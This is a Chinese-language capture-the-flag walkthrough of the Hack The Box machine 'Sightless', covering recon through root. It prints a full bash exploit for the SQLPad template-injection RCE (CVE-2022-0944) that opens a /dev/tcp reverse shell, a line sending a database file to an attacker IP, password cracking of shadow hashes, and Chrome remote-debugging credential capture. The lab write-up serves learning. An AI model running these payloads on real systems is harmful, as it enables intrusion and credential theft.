信息收集
1 2 3
| nmap -sC -sV -O 10.10.11.32
|
扫描结果如下

可以看到开放了ftp端口和80端口还有一个域名,先把域名添加到hosts里

尝试ftp匿名登录发现失败了,所以来看看网站。

查看页面源码发现了一个子域名,也给加入到hosts里,然后访问一下这个子域名

这里会显示sqlpad的版本号
漏洞利用
去网上找一下看看sqlpad的漏洞
https://github.com/worm-403/scripts
https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
这里有一个rce漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
|
IP="${1}"
PORT="${2}"
if [[ -z "${@}" ]]; then
echo "Add IP and PORT"
echo "Example: ./exploit.sh IP PORT"
exit 1
fi
payload=$(cat <<EOF
{
"name": "worm",
"driver": "mysql",
"data": {
"database": "{{ process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/${IP}/${PORT} 0>&1\"') }}"
}
}
EOF
)
response=$(curl -s -X POST 'http://sqlpad.sightless.htb/api/connections' \
-H 'Content-Type: application/json' \
-d "$payload")
id=$(echo "$response" | jq -r '.id')
curl -s "http://sqlpad.sightless.htb/api/connections/${id}/schema" &>/dev/null
|

拿到了shell

发现了一个sqlite,所以我们直接用sqlite的语法进行查看一下,但是他本机没有sqlite3这个命令所以我们拿到本地进行查看
1 2 3
| cat sqlpad.sqlite >& /dev/tcp/10.10.16.10/1234 0>&1
|
1 2 3 4 5 6 7
| sqlite3 sqlpad.sqlite
.table
select * from user;
|

发现了一些用户的凭证信息可以用hashid识别一下

可以看到是brypt所以可以爆破一下

在爆破的同时在他本机的机器上查看shadow文件发现了root和michael用户的hash
1 2 3
| john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt htb.hash
|
开始进行爆破普通用户的密码

可以爆破出来所以我们登录一下他的机器

可以拿到他的user flag
提权
把小乌龟的脚本上传一下inpeas.sh看看有什么可以用的吗
1 2 3
| rsync linpeas.sh michael@10.10.11.32:/home/michael
|
可以看到扫描结果

开起了80 端口和8080端口我们映射出来看看

可以看到是一个登录界面,去搜了一下这个框架的洞找不到。另外发现这个john用户在远程调试谷歌浏览器,之前没了解过去查查

参考一下这个文章:https://blog.51cto.com/u_15061934/4075994了解远程调试
先将调试的端口转发到本地
1 2 3
| ssh -L 35871:127.0.0.1:35871 michael@10.10.11.32
|
得到密码


开启一下这个fpm

这时候由于没有权限所以chmod 77 /tmp/id_rsa在拖到本地在执行一次就可以了

获取root的密钥登录拿到flag